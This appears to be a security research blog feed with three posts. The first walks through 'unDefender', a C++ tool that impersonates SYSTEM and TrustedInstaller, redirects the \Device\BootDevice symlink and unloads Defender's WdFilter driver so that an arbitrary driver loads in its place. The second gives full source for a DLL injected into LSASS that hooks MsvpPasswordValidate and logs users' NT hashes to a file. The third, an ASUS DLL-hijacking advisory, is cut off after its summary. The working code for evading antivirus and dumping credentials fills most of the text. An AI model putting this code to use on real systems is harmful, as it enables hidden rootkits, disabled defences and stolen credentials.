🔒
There are new articles available, click to refresh the page.
Before yesterdayAPT::WTF - APTortellini’s blog

The dying knight in the shiny armour

21 August 2021 at 00:00

TL;DR

With Administrator level privileges and without interacting with the GUI, it’s possible to prevent Defender from doing its job while keeping it alive and without disabling tamper protection by redirecting the \Device\BootDevice NT symbolic link which is part of the NT path from where Defender’s WdFilter driver binary is loaded. This can also be used to make Defender load an arbitrary driver, which no tool succeeds in locating, but it does not survive reboots. The code to do that is in APTortellini’s Github repository unDefender.

Introduction

Some time ago I had a chat with jonasLyk of the Secret Club hacker collective about a technique he devised to disable Defender without making it obvious it was disabled and/or invalidating its tamper protection feature. What I liked about this technique was that it employed some really clever NT symbolic links shenanigans I’ll try to outline in this blog post (which, coincidentally, is also the first one of the Advanced Persistent Tortellini collective :D). Incidentally, this techniques makes for a great way to hide a rootkit inside a Windows system, as Defender can be tricked into loading an arbitrary driver (that, sadly, has to be signed) and no tool is able to pinpoint it, as you’ll be able to see in a while. Grab a beer, and enjoy the ride lads!

Win32 paths, NT paths and NT symbolic links

When loading a driver in Windows there are two ways of specifying where on the filesystem the driver binary is located: Win32 paths and NT paths. A complete analysis of the subtle differences between these two kinds of paths is out of the scope of this article, but James Forshaw already did a great job at explaining it. Essentially, Win32 paths are a dumbed-down version of the more complete NT paths and heavily rely on NT symbolic links. Win32 paths are the familiar path we all use everyday, the ones with letter drives, while NT paths use a different tree structure on which Win32 paths are mapped. Let’s look at an example:

Win32 path NT Path
C:\Temp\test.txt \Device\HarddiskVolume4\Temp\test.txt

When using explorer.exe to navigate the folders in the filesystem we use Win32 paths, though it’s just an abstraction layer as the kernel uses NT paths to work and Win32 paths are translated to NT paths before being consumed by the OS.

To make things a bit more complicated, NT paths can make use of NT symbolic links, just as there are symbolic links in Win32 paths. In fact, drive letters like C: and D: are actually NT symbolic links to NT paths: as you can see in the table above, on my machine C: is a NT symbolic link to the NT path \Device\HarddiskVolume4. Several NT symbolic links are used for various purposes, one of them is to specify the path of certain drivers, like WdFilter for example: by querying it using the CLI we can see the path from which it’s loaded:

sc.exe qc wdfilter

As you can see the path starts with \SystemRoot, which is a NT symbolic link. Using SysInternals’ Winobj.exe we can see that \SystemRoot points to \Device\BootDevice\Windows. \Device\BootDevice is itself another symbolic link to, at least for my machine, \Device\HarddiskVolume4. Like all objects in the Windows kernel, NT symbolic links’ security is subordinated to ACL. Let’s inspect them:

symlink acl

SYSTEM (and Administrators) don’t have READ/WRITE privilege on the NT symbolic link \SystemRoot (although we can query it and see where it points to), but they have the DELETE privilege. Factor in the fact SYSTEM can create new NT symbolic links and you get yourself the ability to actually change the NT symbolic link: just delete it and recreate it pointing it to something you control. The same applies for other NT symbolic links, \Device\BootDevice included. To actually rewrite this kind of symbolic link we need to use native APIs as there are no Win32 APIs for that.

The code

I’ll walk you through some code snippets from our project unDefender which abuses this behaviour. Here’s a flowchart of how the different pieces of the software work:

unDefender flowchart

All the functions used in the program are defined in the common.h header. Here you will also find definitions of the Nt functions I had to dynamically load from ntdll. Note that I wrap the HANDLE, HMODULE and SC_HANDLE types in custom types part of the RAII namespace as I heavily rely on C++’s RAII paradigm in order to safely handle these types. These custom RAII types are defined in the raii.h header and implemented in their respective .cpp files.

Getting SYSTEM

First things first, we elevate our token to a SYSTEM one. This is easily done through the GetSystem function, implemented in the GetSystem.cpp file. Here we basically open winlogon.exe, a SYSTEM process running unprotected in every Windows session, using the OpenProcess API. After that we open its token, through OpenProcessToken, and impersonate it using ImpersonateLoggedOnUser, easy peasy.

#include "common.h"

bool GetSystem()
{
	RAII::Handle winlogonHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindPID(L"winlogon.exe"));
	if (!winlogonHandle.GetHandle())
	{
		std::cout << "[-] Couldn't get a PROCESS_ALL_ACCESS handle to winlogon.exe, exiting...\n";
		return false;
	}
	else std::cout << "[+] Got a PROCESS_ALL_ACCESS handle to winlogon.exe!\n";

	HANDLE tempHandle;
	auto success = OpenProcessToken(winlogonHandle.GetHandle(), TOKEN_QUERY | TOKEN_DUPLICATE, &tempHandle);
	if (!success)
	{
		std::cout << "[-] Couldn't get a handle to winlogon.exe's token, exiting...\n";
		return success;
	}
	else std::cout << "[+] Opened a handle to winlogon.exe's token!\n";
	RAII::Handle tokenHandle = tempHandle;
	
	success = ImpersonateLoggedOnUser(tokenHandle.GetHandle());
	if (!success)
	{
		std::cout << "[-] Couldn't impersonate winlogon.exe's token, exiting...\n";
		return success;
	}
	else std::cout << "[+] Successfully impersonated winlogon.exe's token, we are SYSTEM now ;)\n";
	return success;
}

Saving the symbolic link current state

After getting SYSTEM we need to backup the current state of the symbolic link, so that we can programmatically restore it later. This is done through the GetSymbolicLinkTarget implemented in the GetSymbolicLinkTarget.cpp file. After resolving the address of the Nt functions (skipped in the following snippet) we define two key data structures: a UNICODE_STRING and an OBJECT_ATTRIBUTES. These two are initialized through the RtlInitUnicodeString and InitializeObjectAttributes APIs. The UNICODE_STRING is initialized using the symLinkName variable, which is of type std::wstring and is one of the arguments passed to GetSymbolicLinkTarget by the main function. The first one is a structure the Windows kernel uses to work with unicode strings (duh!) and is necessary for initializing the second one, which in turn is used to open a handle to the NT symlink using the NtOpenSymbolicLinkObject native API with GENERIC_READ access. Before that though we define a HANDLE which will be filled by NtOpenSymbolicLinkObject itself and that we will assign to the corresponding RAII type (I have yet to implement a way of doing it directly without using a temporary disposable variable, I’m lazy).

Done that we proceed to initialize a second UNICODE_STRING which will be used to store the symlink target retrieved by the NtQuerySymbolicLinkObject native API, which takes as arguments the RAII::Handle we initialized before, the second UNICODE_STRING we just initialized and a nullptr as we don’t care about the number of bytes read. Done that we return the buffer of the second UNICODE_STRING and call it a day.

UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE tempSymLinkHandle;

NTSTATUS status = NtOpenSymbolicLinkObject(&tempSymLinkHandle, GENERIC_READ, &symlinkObjAttr);
RAII::Handle symLinkHandle = tempSymLinkHandle;

UNICODE_STRING LinkTarget{};
wchar_t buffer[MAX_PATH] = { L'\0' };
LinkTarget.Buffer = buffer;
LinkTarget.Length = 0;
LinkTarget.MaximumLength = MAX_PATH;

status = NtQuerySymbolicLinkObject(symLinkHandle.GetHandle(), &LinkTarget, nullptr);
if (!NT_SUCCESS(status))
{
    Error(RtlNtStatusToDosError(status));
    std::wcout << L"[-] Couldn't get the target of the symbolic link " << symLinkName << std::endl;
    return L"";
}
else std::wcout << "[+] Symbolic link target is: " << LinkTarget.Buffer << std::endl;
return LinkTarget.Buffer;

Changing the symbolic link

Now that we have stored the older symlink target it’s time we change it. To do so we once again setup the two UNICODE_STRING and OBJECT_ATTRIBUTES structures that will identify the symlink we want to target and then call the native function NtOpenSymbolicLink to get a handle to said symlink with DELETE privileges.

UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE symlinkHandle;

NTSTATUS status = NtOpenSymbolicLinkObject(&symlinkHandle, DELETE, &symlinkObjAttr);

After that, we proceed to delete the symlink. To do that we first have to call the native function NtMakeTemporaryObject and pass it the handle to the symlink we just got. That’s because this kind of symlinks are created with the OBJ_PERMANENT attribute, which increases the reference counter of their kernel object in kernelspace by 1. This means that even if all handles to the symbolic link are closed, the symbolic link will continue to live in the kernel object manager. So, in order to delete it we have to make the object no longer permanent (hence temporary), which means NtMakeTemporaryObject simply decreases the reference counter by one. When we call the CloseHandle API after that on the handle of the symlink, the reference counter goes to zero and the object is destroyed:

status = NtMakeTemporaryObject(symlinkHandle);
CloseHandle(symlinkHandle);

Once we have deleted the symlink it’s time to recreate it and make it point to the new target. This is done by initializing again a UNICODE_STRING and a OBJECT_ATTRIBUTES and calling the NtCreateSymbolicLinkObject API:

UNICODE_STRING target;
RtlInitUnicodeString(&target, newDestination.c_str());
UNICODE_STRING newSymLinkPath;
RtlInitUnicodeString(&newSymLinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES newSymLinkObjAttr{};
InitializeObjectAttributes(&newSymLinkObjAttr, &newSymLinkPath, OBJ_CASE_INSENSITIVE | OBJ_PERMANENT, NULL, NULL);
HANDLE newSymLinkHandle;

status = NtCreateSymbolicLinkObject(&newSymLinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &newSymLinkObjAttr, &target);
if (status != STATUS_SUCCESS)
{
	std::wcout << L"[-] Couldn't create new symbolic link " << symLinkName << L" to " << newDestination << L". Error:0x" << std::hex << status << std::endl;
	return status;
}
else std::wcout << L"[+] Symbolic link " << symLinkName << L" to " << newDestination << L" created!" << std::endl;
CloseHandle(newSymLinkHandle);
return STATUS_SUCCESS;

Note two things:

  1. when calling InitializeObjectAttributes we pass the OBJ_PERMANENT attribute as argument, so that the symlink is created as permanent, in order to avoid having the symlink destroyed when unDefender exits;
  2. right before returning STATUS_SUCCESS we call CloseHandle on the newly created symlink. This is necessary because if the handle stays open the reference counter of the symlink will be 2 (1 for the handle, plus 1 for the OBJ_PERMANENT) and we won’t be able to delete it later when we will try to restore the old symlink.

At this point the symlink is changed and points to a location we have control on. In this location we will have constructed a directory tree which mimicks WdFilter’s one and copied our arbitrary driver, conveniently renamed WdFilter.sys - we do it in the first line of the main function through a series of system() function calls. I know it’s uncivilized to do it this way, deal with it.

Killing Defender

Now we move to the juicy part, killing Damnfender! This is done in the ImpersonateAndUnload helper function (implemented in ImpersonateAndUnload.cpp) in 4 steps:

  1. start the TrustedInstaller service and process;
  2. open TrustedInstaller’s first thread;
  3. impersonate its token;
  4. unload WdFilter; We need to impersonate TrustedInstaller because the Defender and WdFilter services have ACLs which gives full control on them only to NT SERVICE\TrustedInstaller and not to SYSTEM or Administrators.
Step 1 - Starting TrustedInstaller

The first thing to do is starting the TrustedInstaller service. To do so we need to get a HANDLE (actually a SC_HANDLE, which is a particular type of HANDLE for the Service Control Manager.) on the Service Control Manager using the OpenSCManagerW API, then use that HANDLE to call OpenServiceW on the TrustedInstaller service and get a HANDLE on it, and finally pass that other HANDLE to StartServiceW. This will start the TrustedInstaller service, which in turn will start the TrustedInstaller process, whose token contains the SID of NT SERVICE\TrustedInstaller. Pretty straightforward, here’s the code:

RAII::ScHandle svcManager = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!svcManager.GetHandle())
{
	Error(GetLastError());
	return 1;
}
else std::cout << "[+] Opened handle to the SCM!\n";

RAII::ScHandle trustedInstSvc = OpenServiceW(svcManager.GetHandle(), L"TrustedInstaller", SERVICE_START);
if (!trustedInstSvc.GetHandle())
{
	Error(GetLastError());
	std::cout << "[-] Couldn't get a handle to the TrustedInstaller service...\n";
	return 1;
}
else std::cout << "[+] Opened handle to the TrustedInstaller service!\n";

auto success = StartServiceW(trustedInstSvc.GetHandle(), 0, nullptr);
if (!success && GetLastError() != 0x420) // 0x420 is the error code returned when the service is already running
{
	Error(GetLastError());
	std::cout << "[-] Couldn't start TrustedInstaller service...\n";
	return 1;
}
else std::cout << "[+] Successfully started the TrustedInstaller service!\n";
Step 2 - Opening TrustedInstaller’s first thread

Now that the TrustedInstaller process is alive, we need to open a handle its first thread, so that we can call the native API NtImpersonateThread on it in step 3. This is done using the following code:

auto trustedInstPid = FindPID(L"TrustedInstaller.exe");
if (trustedInstPid == ERROR_FILE_NOT_FOUND)
{
	std::cout << "[-] Couldn't find the TrustedInstaller process...\n";
	return 1;
}

auto trustedInstThreadId = GetFirstThreadID(trustedInstPid);
if (trustedInstThreadId == ERROR_FILE_NOT_FOUND || trustedInstThreadId == 0)
{
	std::cout << "[-] Couldn't find TrustedInstaller process' first thread...\n";
	return 1;
}

RAII::Handle hTrustedInstThread = OpenThread(THREAD_DIRECT_IMPERSONATION, false, trustedInstThreadId);
if (!hTrustedInstThread.GetHandle())
{
	std::cout << "[-] Couldn't open a handle to the TrustedInstaller process' first thread...\n";
	return 1;
}
else std::cout << "[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the TrustedInstaller process' first thread!\n";

FindPID and GetFirstThreadID are two helper functions I implemented in FindPID.cpp and GetFirstThreadID.cpp which do exactly what their names tell you: they find the PID of the process you pass them and give you the TID of its first thread, easy. We need the first thread as it will have for sure the NT SERVICE\TrustedInstaller SID in it. Once we’ve got the thread ID we pass it to the OpenThread API with the THREAD_DIRECT_IMPERSONATION access right, which enables us to use the returned handle with NtImpersonateThread later.

Step 3 - Impersonating TrustedInstaller

Now that we have a powerful enough handle we can call NtImpersonateThread on it. But first we have to initialize a SECURITY_QUALITY_OF_SERVICE data structure to tell the kernel which kind of impersonation we want to perform, in this case SecurityImpersonation, that’s a impersonation level which allows us to impersonate the security context of our target locally (look here for more information on Impersonation Levels):

SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
auto status = NtImpersonateThread(GetCurrentThread(), hTrustedInstThread.GetHandle(), &sqos);
if (status == STATUS_SUCCESS) std::cout << "[+] Successfully impersonated TrustedInstaller token!\n";
else
{
	Error(GetLastError());
	std::cout << "[-] Failed to impersonate TrustedInstaller...\n";
	return 1;
}

If NtImpersonateThread did its job well our thread should have the SID of TrustedInstaller now. Note: in order not to fuck up the main thread’s token, ImpersonateAndUnload is called by main in a sacrificial std::thread. Now that we have the required access rights, we can go to step 4 and actually unload the driver.

Step 4 - Unloading WdFilter.sys

To unload WdFilter we first have to release the lock imposed on it by Defender itself. This is achieved by restarting the WinDefend service using the same approach we used to start TrustedInstaller’s one. But first we need to give our token the ability to load and unload drivers. This is done by enabling the SeLoadDriverPrivilege in our security context by calling the helper function SetPrivilege, defined in SetPrivilege.cpp, and by passing it our thread’s token and the privilege we want to enable:

HANDLE tempHandle;
success = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &tempHandle);
if (!success)
{
	Error(GetLastError());
	std::cout << "[-] Failed to open current thread token, exiting...\n";
	return 1;
}
RAII::Handle currentToken = tempHandle;

success = SetPrivilege(currentToken.GetHandle(), L"SeLoadDriverPrivilege", true);
if (!success) return 1;

Once we have the SeLoadDriverPrivilege enabled we proceed to restart Defender’s service, WinDefend:

RAII::ScHandle winDefendSvc = OpenServiceW(svcManager.GetHandle(), L"WinDefend", SERVICE_ALL_ACCESS);
if (!winDefendSvc.GetHandle())
{
	Error(GetLastError());
	std::cout << "[-] Couldn't get a handle to the WinDefend service...\n";
	return 1;
}
else std::cout << "[+] Opened handle to the WinDefend service!\n";

SERVICE_STATUS svcStatus;
success = ControlService(winDefendSvc.GetHandle(), SERVICE_CONTROL_STOP, &svcStatus);
if (!success)
{
	Error(GetLastError());
	std::cout << "[-] Couldn't stop WinDefend service...\n";
	return 1;
}
else std::cout << "[+] Successfully stopped the WinDefend service! Proceeding to restart it...\n";

Sleep(10000);

success = StartServiceW(winDefendSvc.GetHandle(), 0, nullptr);
if (!success)
{
	Error(GetLastError());
	std::cout << "[-] Couldn't restart WinDefend service...\n";
	return 1;
}
else std::cout << "[+] Successfully restarted the WinDefend service!\n";

The only thing different from when we started TrustedInstaller’s service is that we first have to stop the service using the ControlService API (by passing the SERVICE_CONTROL_STOP control code) and then start it back using StartServiceW once again. Once Defender’s restarted, the lock on WdFilter is released and we can call NtUnloadDriver on it:

UNICODE_STRING wdfilterDrivServ;
RtlInitUnicodeString(&wdfilterDrivServ, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Wdfilter");

status = NtUnloadDriver(&wdfilterDrivServ);
if (status == STATUS_SUCCESS) 
{
	std::cout << "[+] Successfully unloaded Wdfilter!\n";
}
else
{
	Error(status);
	std::cout << "[-] Failed to unload Wdfilter...\n";
}
return status;

The native function NtUnloadDriver gets a single argument, which is a UNICODE_STRING containing the driver’s registry path (which is a NT path, as \Registry can be seen using WinObj). If everything went according to plan, WdFilter has been unloaded from the kernel.

Reloading and restoring the symlink

Now that WdFilter has been unloaded, Defender’s tamper protection should kick in in a matter of moments and immediately reload it, while also locking it in order to prevent further unloadings. If the symlink has been changed successfully and the directory structure has been created correctly what will be loaded is the driver we provided (which in unDefender’s case is RWEverything). Meanwhile, in 10 seconds, unDefender will restore the original symlink by calling ChangeSymlink again and passing it the old symlink target.

undefender demo

In the demo you can notice a few things:

  • the moment WdFilter is unloaded you can see its entry in Process Hacker turning red;
  • the moment tamper protection kicks in, WdFilter comes right back in green;
  • I managed to copy and run Mimikatz without Defender complaining.

Note: Defender’s icon became yellow in the lower right because it was unhappy with me disabling automatic sample submission, it’s unrelated to unDefender.

References

  1. https://twitter.com/jonasLyk/status/1378143191279472644
  2. https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html
  3. https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
  4. https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html

Taking a detour inside LSASS

16 November 2020 at 00:00

TL;DR

This is a repost of an analysis I posted on my Gitbook some time ago. Basically, when you authenticate as ANY local user on Windows, the NT hash of that user is checked against the NT hash of the supplied password by LSASS through the function MsvpPasswordValidate, exported by NtlmShared.dll. If you hook MsvpPasswordValidate you can extract this hash without touching the SAM. Of course, to hook this function in LSASS you need admin privilege. Technically it also works for domain users who have logged on the machine at least once, but the resulting hash is not a NT hash, but rather a MSCACHEv2 hash.

Introduction

Last August FuzzySec tweeted something interesting:

fuzzysec tweet

Since I had some spare time I decided to look into it and try and write my own local password dumping utility. But first, I had to confirm this information.

Confirming the information

To do so, I fired up a Windows 10 20H2 VM, set it up for kernel debugging and set a breakpoint into lsass.exe at the start of MsvpPasswordValidate (part of the NtlmShared.dll library) through WinDbg. But first you have to find LSASS’ _EPROCESS address using the following command:

!process 0 0 lsass.exe

process command

Once the _EPROCESS address is found we have to switch WinDbg’s context to the target process (your address will be different):

.process /i /p /r ffff8c05c70bc080

process command 2

Remember to use the g command right after the last command to make the switch actually happen. Now that we are in LSASS’ context we can load into the debugger the user mode symbols, since we are in kernel debugging, and then place a breakpoint at NtlmShared!MsvpPasswordValidate:

.reload /user
bp NtlmShared!MsvpPasswordValidate

We can make sure our breakpoint has been set by using the bl command:

bl command

Before we go on however we need to know what to look for. MsvpPasswordValidate is an undocumented function, meaning we won’t find it’s definition on MSDN. Looking here and there on the interwebz I managed to find it on multiple websites, so here it is:

BOOLEAN __stdcall MsvpPasswordValidate (
     BOOLEAN UasCompatibilityRequired,
     NETLOGON_LOGON_INFO_CLASS LogonLevel,
     PVOID LogonInformation,
     PUSER_INTERNAL1_INFORMATION Passwords,
     PULONG UserFlags,
     PUSER_SESSION_KEY UserSessionKey,
     PLM_SESSION_KEY LmSessionKey
);

What we are looking for is the fourth argument. The “Passwords” argument is of type PUSER_INTERNAL1_INFORMATION. This is a pointer to a SAMPR_USER_INTERNAL1_INFORMATION structure, whose first member is the NT hash we are looking for:

typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
   ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
   ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
   unsigned char NtPasswordPresent;
   unsigned char LmPasswordPresent;
   unsigned char PasswordExpired;
 } SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;

As MsvpPasswordValidate uses the stdcall calling convention, we know the Passwords argument will be stored into the R9 register, hence we can get to the actual structure by dereferencing the content of this register. With this piece of information we type g once more in our debugger and attempt a login through the runas command:

runas command

And right there our VM froze because we hit the breakpoint we previously set:

breakpoint hit

Now that our CPU is where we want it to be we can check the content of R9:

db @r9

db command

That definetely looks like a hash! We know our test user uses “antani” as password and its NT hash is 1AC1DBF66CA25FD4B5708E873E211F06, so the extracted value is the correct one.

Writing the DLL

Now that we have verified FuzzySec’s hint we can move on to write our own password dumping utility. We will write a custom DLL which will hook MsvpPasswordValidate, extract the hash and write it to disk. This DLL will be called HppDLL, since I will integrate it in a tool I already made (and which I will publish sooner or later) called HashPlusPlus (HPP for short). We will be using Microsoft Detours to perform the hooking action, better not to use manual hooking when dealing with critical processes like LSASS, as crashing will inevitably lead to a reboot. I won’t go into details on how to compile Detours and set it up, it’s pretty straightforward and I will include a compiled Detours library into HppDLL’s repository. The idea here is to have the DLL hijack the execution flow as soon as it reaches MsvpPasswordValidate, jump to a rogue routine which we will call HookMSVPPValidate and that will be responsible for extracting the credentials. Done that, HookMSVPPValidate will return to the legitimate MsvpPasswordValidate and continue the execution flow transparently for the calling process. Complex? Not so much actually.

Hppdll.h

We start off by writing the header all of the code pieces will include:

#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN

// uncomment the following definition to enable debug logging to c:\debug.txt
#define DEBUG_BUILD

#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"

// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif

// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
	class Library
	{
	public:
		Library(std::wstring input);
		~Library();
		HMODULE GetHandle();

	private:
		HMODULE _libraryHandle;
	};

	class Handle
	{
	public:
		Handle(HANDLE input);
		~Handle();
		HANDLE GetHandle();

	private:
		HANDLE _handle;
	};
}

//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();

// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;

// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
	BOOLEAN UasCompatibilityRequired,
	NETLOGON_LOGON_INFO_CLASS LogonLevel,
	PVOID LogonInformation,
	void* Passwords,
	PULONG UserFlags,
	PUSER_SESSION_KEY UserSessionKey,
	PVOID LmSessionKey
);

This header includes various Windows headers that define the various native types used by MsvpPasswordValidate. You can see I had to slightly modify the MsvpPasswordValidate function definition since I could not find the headers defining PUSER_INTERNAL1_INFORMATION, hence we treat it like a normal void pointer. I also define two routines, InstallHook and RemoveHook, that will deal with injecting our hook and cleaning it up afterwards. I also declare a RAII namespace which will hold RAII classes to make sure handles to libraries and other stuff will be properly closed as soon as they go out of scope (yay C++). I also define a pMsvpPasswordValidate type which we will use in conjunction with GetProcAddress to properly resolve and then call MsvpPasswordValidate. Since the MsvpPasswordValidate pointer needs to be global we also extern it.

DllMain.cpp

The DllMain.cpp file holds the definition and declaration of the DllMain function, responsible for all the actions that will be taken when the DLL is loaded or unloaded:

#include "pch.h"
#include "hppdll.h"

pMsvpPasswordValidate MsvpPasswordValidate = nullptr;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        return InstallHook();
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        return RemoveHook();
    }
    return TRUE;
}

Top to bottom, we include pch.h to enable precompiled headers and speed up compilation, and hppdll.h to include all the types and functions we defined earlier. We also set to nullptr the MsvpPasswordValidate function pointer, which will be filled later by the InstallHook function with the address of the actual MsvpPasswordValidate. You can see that InstallHook gets called when the DLL is loaded and RemoveHook is called when the DLL is unloaded.

InstallHook.cpp

InstallHook is the function responsible for actually injecting our hook:

#include "pch.h"
#include "hppdll.h"

bool InstallHook()
{
	DEBUG("InstallHook called!");

	// get a handle on NtlmShared.dll
	RAII::Library ntlmShared(L"NtlmShared.dll");
	if (ntlmShared.GetHandle() == nullptr)
	{
		DEBUG("Couldn't get a handle to NtlmShared");
		return false;
	}

	// get MsvpPasswordValidate address
	MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
	if (MsvpPasswordValidate == nullptr)
	{
		DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
		return false;
	}

	DetourTransactionBegin();
	DetourUpdateThread(::GetCurrentThread());
	DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	LONG error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to hook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook installed successfully");
		return true;
	}
}

It first gets a handle to the NtlmShared DLL at line 9. At line 17 the address to the beginning of MsvpPasswordValidate is resolved by using GetProcAddress, passing to it the handle to NtlmShared and a string containing the name of the function. At lines from 24 to 27 Detours does its magic and replaces MsvpPasswordValidate with our rogue HookMSVPPValidate function. If the hook is installed correctly, InstallHook returns true. You may have noticed I use the DEBUG macro to print debug information. This macro makes use of conditional compilation to write to C:\debug.txt if the DEBUG_BUILD macro is defined in hppdll.h, otherwise it does nothing.

HookMSVPPValidate.cpp

Here comes the most important piece of the DLL, the routine responsible for extracting the credentials from memory.

#include "pch.h"
#include "hppdll.h"

BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
	DEBUG("Hook called!");
	// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
	NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;

	// write to C:\credentials.txt the domain, username and NT hash of the target user
	std::wofstream credentialFile;
	credentialFile.open("C:\\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
	credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
	std::wstring username;
	
	// LogonIdentity->Username.Buffer contains more stuff than the username
	// so we only get the username by iterating on it only Length/2 times 
	// (Length is expressed in bytes, unicode strings take two bytes per character)
	for (int i = 0; i < logonIdentity->UserName.Length/2; i++)
	{
		username += logonIdentity->UserName.Buffer[i];
	}
	credentialFile << L"Username: " << username << std::endl;
	credentialFile << L"NTHash: ";
	for (int i = 0; i < 16; i++)
	{
		unsigned char hashByte = ((unsigned char*)Passwords)[i];
		credentialFile << std::hex << hashByte;
	}
	credentialFile << std::endl;
	credentialFile.close();

	DEBUG("Hook successfully called!");
	return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}

We want our output file to contain information on the user (like the username and the machine name) and his NT hash. To do so we first cast the third argument, LogonIdentity, to be a pointer to a NETLOGON_LOGON_IDENTITY_INFO structure. From that we extract the logonIdentity->LogonDomainName.Buffer field, which holds the local domain (hece the machine hostname since it’s a local account). This happens at line 8. At line 13 we write the extracted local domain name to the output file, which is C:\credentials.txt. As a side note, LogonDomainName is a UNICODE_STRING structure, defined like so:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

From line 19 to 22 we iterate over logonIdentity->Username.Buffer for logonIdentity->Username.Length/2 times. We have to do this, and not copy-paste directly the content of the buffer like we did with the domain, because this buffer contains the username AND other garbage. The Length field tells us where the username finishes and the garbage starts. Since the buffer contains unicode data, every character it holds actually occupies 2 bytes, so we need to iterate half the times over it. From line 25 to 29 we proceed to copy the first 16 bytes held by the Passwords structure (which contain the actual NT hash as we saw previously) and write them to the output file. To finish we proceed to call the actual MsvpPasswordValidate and return its return value at line 34 so that the authentication process can continue unimpeded.

RemoveHook.cpp

The last function we will take a look at is the RemoveHook function.

#include "pch.h"
#include "hppdll.h"

bool RemoveHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	auto error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to unhook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook removed!");
		return true;
	}
}

This function too relies on Detours magic. As you can see lines 6 to 9 are very similar to the ones called by InstallHook to inject our hook, the only difference is that we make use of the DetourDetach function instead of the DetourAttach one.

Test drive!

Alright, now that everything is ready we can proceed to compile the DLL and inject it into LSASS. For rapid prototyping I used Process Hacker for the injection.

hppdll gif

It works! This time I tried to authenticate as the user “last”, whose password is, awkwardly, “last”. You can see that even though the wrong password was input for the user, the true password hash has been written to C:\credentials. That’s all folks, it was a nice ride. You can find the complete code for HppDLL on my GitHub.

last out!

Stealing weapons from the Armoury

24 September 2021 at 00:00

armoury pwnd

TL;DR

ASUS ROG Armoury Crate ships with a service called Armoury Crate Lite Service which suffers from a phantom DLL hijacking vulnerability that allows a low privilege user to execute code in the context other users, administrators included. To trigger the vulnerability, an administrator must log in after the attacker has placed the malicious DLL at the path C:\ProgramData\ASUS\GamingCenterLib\.DLL. The issue has been fixed with the release of Armoury Crate Lite Service 4.2.10.

Introduction

